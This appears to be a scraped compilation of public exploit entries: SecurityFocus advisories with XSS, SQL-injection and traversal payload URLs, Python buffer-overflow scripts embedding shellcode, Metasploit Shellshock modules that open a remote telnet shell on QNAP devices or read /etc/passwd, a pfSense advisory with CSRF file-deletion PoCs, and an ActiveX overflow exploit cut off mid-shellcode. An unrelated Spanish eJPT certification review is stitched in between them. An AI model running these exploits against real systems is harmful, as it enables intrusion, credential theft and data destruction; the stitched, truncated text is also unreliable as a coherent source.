HireHackking

source: https://www.securityfocus.com/bid/51258/info GraphicsClone Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/search/?term=<script>alert(document.cookie)</script>

source: https://www.securityfocus.com/bid/51261/info Limny is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Limny 3.0.1 is vulnerable; other versions may also be affected. http://www.example.com/admin/login.php/"/><script>alert(&#039;zsl&#039;)</script>

source: https://www.securityfocus.com/bid/51273/info Pligg CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Pligg CMS 1.1.2 is vulnerable; other versions may also be affected. http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0

Esta review ya está deprecated debido a la salida de la segunda versión de esta certificación, el eJPTv2. Hace 2 semanas me presenté al eJPT y pude sacarlo con éxito, quería hablar sobre que me ha parecido esta certificación y hacer una review ya que siempre veo personas que tienen dudas sobre la misma (al igual que yo antes de hacerla).Voy a intentar abordar cosas como: ¿Qué tan difícil es? ¿Qué necesito saber? ¿Vale la pena? ¿Cómo es el examen? Voy a intentar resolver todas estas dudas para los que tengan pensado o se estén pensando en hacer la certificación ^^ Contexto ¿Vale la pena? ¿Qué tan difícil es? ¿Qué necesito saber? ¿Cómo es el examen? Tips Conclusión Contexto Antes de nada, pongámonos en contexto. El eJPT ó eLearnSecurity Junior Penetration Tester, es una certificación de eLearnSecurity pensada para personas que quieran empezar una nueva carrera en el campo de la ciberseguridad, enfocado al Pentesting. Es una certificación 100% práctica que segun eLearnSecurity aborda los siguientes temas: TCP/IP IP Routing LAN protocols and devices HTTP and web technologies Essential penetration testing processes and methodologies Basic vulnerability assessment of networks Basic vulnerability assessment of web applications Exploitation with Metasploit Simple web application manual exploitation Basic information gathering and reconnaissance Simple scanning and profiling the target ¿Vale la pena? Diría que depende, si eres principiante, no sabes nada y quieres introducirte en este mundo, es una gran certificación para empezar ya que tocas lo esencial. Sin embargo, si ya eres mas o menos experimentado en el sentido de que has practicado con plataformas como TryHackMe o HackTheBox, puede que te parezca bastante sencilla la certificación. En mi caso, yo antes de realizarla llevaba bastantes máquinas de TryHackMe hechas, y habia visto casi todos los directos desde hace 3 meses que s4vitar hace en twitch. Por lo que la metodología básica de un test de penetración la tenia mas o menos clara, aunque es algo que siempre se mejora con el tiempo. También realicé el curso oficial que te recomienda eLearnSecurity para el eJPT de la mano de INE, es totalmente gratuito si te registras con el Starter Pass (Con una simple búsqueda en google lo encontrarás), si recién empiezas, es muy recomendable hacerlo ya que abarca todo desde cero. A nivel de explotación el examen es muy básico, sin embargo, lo que mas noté y mejoré gracias al examen y los respectivos laboratorios del curso oficial fue la enumeración. En plataformas como THM o HTB estamos acostumbrados a tener una sola máquina y enumerar solo esa, además de conocer la IP de la máquina previamente. Esto no es así en el eJPT. En la certificación te conectas por VPN a una red de la cual tu solo sabes la IP de red, gracias a la IP que te otorgan cuando te conectas. A partir de ahí, no sabes nada, por lo que no solo mejoras el Host Discovery, sino que además, cuando te encuentres frente a 7 máquinas por ejemplo y no solo 1, el cambio es abismal, se nota mucho. Ha sido de lo que mas me ha gustado de la certificación. Ha hecho que mejore en ese aspecto. Y, volviendo al tema de si vale la pena, si eres principiante, si, 100% recomendada, si eres ya un poco experimentado, pues depende de ti. Si quieres mejorar la enumeración, además de obtener tu primera certificación y testear un poco a eLearnSecurity para ver como funciona, también la recomiendo. Pero tienes que ir con la idea, de que no va a haber casi nada de explotación. ¿Qué tan difícil es? Arriba creo que mas o menos ya he dado una idea, pero básicamente, en explotación no es para nada complicado, es lo más básico en ese aspecto, con que sepas XSS, SQLi y alguna que otra explotación básica de windows todo bien. Lo que si, si no estás acostumbrado a enumerar es lo que mas te puede costar y abrumar al no ser solo 1 máquina, pero nada, poco a poco. Aparte de la enumeración y la explotación, lo demás son skills básicos que tienes que saber, lo veremos ahora. ¿Qué necesito saber? Pues, los temas de los que debes controlar para poder abordar la certificación con éxito son: Host Discovery Ports Discovery Enrutamiento Manual –> ip route Fuerza bruta a Servicios Fuerza bruta a Hashes Fuzzing Explotación básica, ya sea Windows o Linux –> no hay que saber nada sobre escalada de privilegios XSS SQLi Wireshark Conocimiento básico de redes ¿Cómo es el examen? Por último, me gustaría dar algunos tips de cara al examen y explicar por encima su estructura (no haré spoilers, no es mi objetivo). La certificación consiste en un examen tipo test de 20 preguntas y 4 posibles opciones (algunas multirespuesta) basadas en la práctica. Es decir, si te preguntan la contraseña del usuario Pepito, pues obviamente lo tienes que averiguar, asi que el examen es 100% práctico en un entorno donde puede haber tanto máquinas windows como linux. Tienes 3 días completos para contestar al tipo test y entregarlo. El examen se puede completar fácilmente entre 3 y 8 horas, es sencillo acabarlo el primer día, por no decir, que 3 días son tiempo de sobra para completarla con tranquilidad. En esta certificación y en las de eLearnSecurity no están prohibida ninguna herramienta, es decir, puedes usar SQLMap, Metasploit y lo que quieras, además de que el examen no es proctored, nadie te vigila mientras lo haces. Ésta básicamente es la estructura del examen. Tips Tips como tal, mencionaría que fueras con calma, son 3 dias y 2 oportunidades de entregar el tipo test, además, son preguntas sencillas. También destacaría que supieras como funciona el enrutamiento y las tablas de enrutamiento, prueba a montarte un laboratorio con 3 máquinas linux y 2 redes, e intenta que la máquina 1 use a la máquina 2 como router para poder comunicarse con la máquina 3 y viceversa, con esto seguro que te quedará bastante claro el tema, además, haz capturas con wireshark e intenta entender como se tramitan los paquetes, te ayudará. Haz el mismo procedimiento de distintas formas, por ejemplo, cuando hagas host discovery, comprueba con al menos dos formas distintas que no se te escapa nada. No juegues con mucha velocidad de paquetes cuando uses nmap, juega con un T4 o T5 como mucho, pero no le metas un min-rate, puede que no te detecte algún puerto de esta manera. Organizate, no es 1 máquina como puedes estar acostumbrado, son varias, por lo que mantén tu zona de trabajo e información ordenada. Trabaja en base a lo que te preguntan, es lo más cómodo. Esto no es un CTF, seguro que muchas cosas son mas simples de lo que piensas. Y el tip mas importante, disfruta aprendiendo. Conclusión Esto creo que es todo lo que me hubiera gustado saber antes del examen, espero que te sirva de ayuda, de todas formas, me puedes contactar por Linkedin o Twitter por si necesitas cualquier cosa o me quieras preguntar algo ^^. Si después de esto has decidido tanto presentarte como si no, está bien, en el caso de que lo vayas a hacer, mucha suerte, seguro que lo sacas ^^ Dicho esto, Happy Hacking!

source: https://www.securityfocus.com/bid/51274/info Pligg CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Pligg CMS 1.1.4 is vulnerable; other versions may also be affected. http://www.example.com/demo/search/')%7B%7Dalert('xss');if('

source: https://www.securityfocus.com/bid/51275/info UBB.threads is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. UBB.threads 7.5.6 is vulnerable; other versions may also be affected. The following exploit data is available: http://www.example.com/forums/ubbthreads.php/ubb/login/lostpw/1 POST /forums/ubbthreads.php ubb=start_page&Loginname=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&Email=&buttforgot=I+forgot+my+password

source: https://www.securityfocus.com/bid/51276/info Yaws is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are possible. Yaws 1.88 is vulnerable; other versions may be affected. http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/editPage.yaws?node=home

source: https://www.securityfocus.com/bid/51280/info StatIt is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. StatIt 4 is vulnerable; other versions may be affected. The following example URIs are available: http://www.example.com/statit4/statistik.php?st_id=1&action=stat_last%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&enc=333263120212292&agent=ari/534.30&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace http://www.example.com/statit4/statistik.php?action=stat_tld&st_id=1&show=more%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E\&PHPSESSID=d8679fc904017bdf6b09f5d88f7cf979 http://www.example.com/statit4/statistik.php?action=stat_abfragen&st_id=1&show=more&order=2%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&sort=1&PHPSESSID=698bf9d1e988e3af70022f1dfb86fd33

source: https://www.securityfocus.com/bid/51286/info HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface. Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks. HServer 0.1.1 is vulnerable; other versions may also be affected. http://www.example.com/..%5c..%5c..%5cboot.ini http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts

#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: Mini-sream Ripper v2.7.7.100 Local Buffer Overflow #[+] Date: 25-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/43/Mini-streamRipper.exe?token=1427334864_8d9c5d7d948871f54ae14ed9304d1ddf&fileName=Mini-streamRipper.exe #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Original POC: # http://www.exploit-db.com/exploits/11197/ #POC: #IMG1: #http://i.imgur.com/ifXYgwx.png #IMG2: #http://i.imgur.com/ZMisj6R.png from struct import pack file="crack.m3u" junk="\x41"*35032 eip=pack('<I',0x7C9D30D7) junk2="\x44"*4 #Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore #http://www.exploit-db.com/exploits/28996/ shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") writeFile = open (file, "w") writeFile.write(junk+eip+junk2+shellcode) writeFile.close()

# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection # Date: 7 February 2015 # Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] # Employer homepage: http://www.securegroup.it # Vendor homepage: http://www.qnap.com # Version: All Turbo NAS models except TS-100, TS-101, TS-200 # Tested on: TS-1279U-RP # CVE : 2014-6271 # Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61 ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/d3vpp/metasploit-modules ## require 'msf/core' require 'net/telnet' class Metasploit3 < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection', 'Description' => %q{ This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection. Affected products: All Turbo NAS models except TS-100, TS-101, TS-200 }, 'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-6271'], #aka ShellShock ['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61'] ], 'Platform' => ['unix'] )) register_options([ OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']), OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993']) ], self.class) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; echo; /usr/bin/id" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE vprint_error("Connection failed") return Exploit::CheckCode::Unknown end if !res return Exploit::CheckCode::Unknown elsif res.code== 302 and res.body.include? 'uid' return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit_telnet() telnetport = datastore['LTELNET'] print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") print_status("#{rhost}:#{rport} - Sending exploit") begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service spawned") add_socket(sock) else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned") end print_status "Starting a Telnet session #{rhost}:#{telnetport}" merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME' => nil, 'PASSWORD' => nil } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled") end return end def run begin telnetport = datastore['LTELNET'] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &" }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable => e fail_with(Failure::Unreachable, e) ensure disconnect end exploit_telnet() end end

#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow #[+] Date: 25-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Related Vulnerability/ies: # http://www.exploit-db.com/exploits/8628/ #POC: #IMG1: #http://i.imgur.com/87sXIj8.png from struct import pack file="crack.ram" junk="\x41"*35032 eip=pack('<I',0x7C9D30D7) junk2="\x44"*4 #Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore #http://www.exploit-db.com/exploits/28996/ shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") writeFile = open (file, "w") writeFile.write(junk+eip+junk2+shellcode) writeFile.close()

# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection # Date: 7 February 2015 # Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] # Employer homepage: http://www.securegroup.it # Vendor homepage: http://www.qnap.com # Version: All Turbo NAS models except TS-100, TS-101, TS-200 # Tested on: TS-1279U-RP # CVE : 2014-6271 # Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61 ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/d3vpp/metasploit-modules ## require 'msf/core' class Metasploit3 < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection', 'Description' => %q{ This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system. Affected products: All Turbo NAS models except TS-100, TS-101, TS-200 }, 'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-6271'], #aka ShellShock ['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61'] ], 'Platform' => ['unix'] )) register_options([ OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']), OptString.new('CMD', [ true, 'The command to run', '/bin/cat /etc/passwd']) ], self.class) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; echo; /usr/bin/id" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE vprint_error("Connection failed") return Exploit::CheckCode::Unknown end if !res return Exploit::CheckCode::Unknown elsif res.code== 302 and res.body.include? 'uid' return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def run res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; echo; #{datastore['CMD']}" }) if res.body.empty? print_error("No data found.") elsif res.code== 302 print_status("#{rhost}:#{rport} - bash env variable injected") puts " " print_line(res.body) end end end

Advisory ID: HTB23251 Product: pfSense Vendor: Electric Sheep Fencing LLC Vulnerable Version(s): 2.2 and probably prior Tested Version: 2.2 Advisory Publication: March 4, 2015 [without technical details] Vendor Notification: March 4, 2015 Vendor Patch: March 5, 2015 Public Disclosure: March 25, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352] CVE References: CVE-2015-2294, CVE-2015-2295 Risk Level: Medium CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks. Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface. 1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294 1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. PoC code below uses JS "alert()" function to display "ImmuniWeb" popup: https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup: https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. PoC code below uses JS "alert()" function to display "ImmuniWeb" popup: https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. PoC code below uses JS "alert()" function to display "ImmuniWeb" popup: https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup: https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E 2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295 2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges. The following PoC code deletes file "/etc/passwd": https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd ----------------------------------------------------------------------------------------------- Solution: Update to pfSense 2.2.1 More Information: https://blog.pfsense.org/?p=1661 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23251 - https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and multiple XSS vulnerabilities in pfSense. [2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

<html> <!-- # Exploit Title: WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (0 day) # Date: 26th MArch, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174 # Version: 1, 6, 42, 0 # Tested on: Windows XP SP3 (IE6/7/8) # CVE : 2015-2097 targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll" prototype = "Sub LoadImage ( ByVal bstrFullPath As String )" memberName = "LoadImage" progid = "WESPMONITORLib.WESPMonitorCtrl" argCount = 1 For full analysis of the exploit refer http://blog.disects.com/2015/03/webgate-edvr-manager.html --> <object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'> </object> <script> var arg1 = ""; nops = ""; var buff = ""; for(i=0;i<268;i++) { arg1 += "B"; } nseh = "\xeb\x10\x90\x90"; //jmp over addr seh = "\x71\x47\x01\x10"; //pop pop ret addr document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>"); for(i=0;i<200;i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + 